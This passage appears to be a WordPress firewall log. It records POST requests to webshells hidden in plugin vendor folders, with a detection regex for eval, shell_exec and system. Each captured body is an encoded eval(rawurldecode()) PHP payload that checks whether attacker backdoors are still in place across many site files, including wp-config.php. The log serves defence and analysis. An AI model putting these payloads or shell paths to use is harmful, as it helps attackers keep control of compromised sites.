C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-includes\/Requests\/src\/Proxy\/toolbar.checkin.php%22%3D%3E%22bd%40%40257251900%40%401029%22%2C%0A%22\/wp-includes\/Requests\/src\/Cookie\/imagers.php%22%3D%3E%22bd%40%40257246922%40%40979%22%2C%0A%22\/index.php%22%3D%3E%22bd%40%40278032072%40%40405%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ConversionActionStatusEnum\/checkout.php%22%3D%3E%22bd%40%40282625866%40%401043%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ConversionValueRuleErrorEnum\/download.php%22%3D%3E%22bd%40%40282625871%40%401037%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/sitemaps\/class-post-type-sitemap-provider.php%22%3D%3E%22bd%40%40287676500%40%40ONUzjt%22%2C%0A%22\/wp-includes\/Text\/Diff\/Engine\/changegroupperm.php%22%3D%3E%22bd%40%40257153933%40%40959%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Net\/CYEC07_3winners.php%22%3D%3E%22bd%40%40279256584%40%40722%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/Curve25519\/userverification.php%22%3D%3E%22bd%40%40261522712%40%401816%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Unary\/banners.php%22%3D%3E%22bd%40%40282623633%40%40667%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20\"));"]
["2026-04-18 19:11:42","213.209.159.254","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> HJTgNT:eval(rawurldecode(\"%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-includes\/Requests\/src\/Proxy\/toolbar.checkin.php%22%3D%3E%22bd%40%40257251900%40%401029%22%2C%0A%22\/wp-includes\/Requests\/src\/Cookie\/imagers.php%22%3D%3E%22bd%40%40257246922%40%40979%22%2C%0A%22\/index.php%22%3D%3E%22bd%40%40278032072%40%40405%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ConversionActionStatusEnum\/checkout.php%22%3D%3E%22bd%40%40282625866%40%401043%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ConversionValueRuleErrorEnum\/download.php%22%3D%3E%22bd%40%40282625871%40%401037%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/sitemaps\/class-post-type-sitemap-provider.php%22%3D%3E%22bd%40%40287676500%40%40ONUzjt%22%2C%0A%22\/wp-includes\/Text\/Diff\/Engine\/changegroupperm.php%22%3D%3E%22bd%40%40257153933%40%40959%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Net\/CYEC07_3winners.php%22%3D%3E%22bd%40%40279256584%40%40722%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/Curve25519\/userverification.php%22%3D%3E%22bd%40%40261522712%40%401816%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Unary\/banners.php%22%3D%3E%22bd%40%40282623633%40%40667%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:10584\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\n\nHJTgNT=eval(rawurldecode(\"%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-includes\/Requests\/src\/Proxy\/toolbar.checkin.php%22%3D%3E%22bd%40%40257251900%40%401029%22%2C%0A%22\/wp-includes\/Requests\/src\/Cookie\/imagers.php%22%3D%3E%22bd%40%40257246922%40%40979%22%2C%0A%22\/index.php%22%3D%3E%22bd%40%40278032072%40%40405%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ConversionActionStatusEnum\/checkout.php%22%3D%3E%22bd%40%40282625866%40%401043%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ConversionValueRuleErrorEnum\/download.php%22%3D%3E%22bd%40%40282625871%40%401037%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/inc\/sitemaps\/class-post-type-sitemap-provider.php%22%3D%3E%22bd%40%40287676500%40%40ONUzjt%22%2C%0A%22\/wp-includes\/Text\/Diff\/Engine\/changegroupperm.php%22%3D%3E%22bd%40%40257153933%40%40959%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Net\/CYEC07_3winners.php%22%3D%3E%22bd%40%40279256584%40%40722%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/Curve25519\/userverification.php%22%3D%3E%22bd%40%40261522712%40%401816%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Unary\/banners.php%22%3D%3E%22bd%40%40282623633%40%40667%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20\"));"]
["2026-04-18 19:19:47","213.209.159.254","POST","\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> VmQHcs:eval(rawurldecode(\"%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D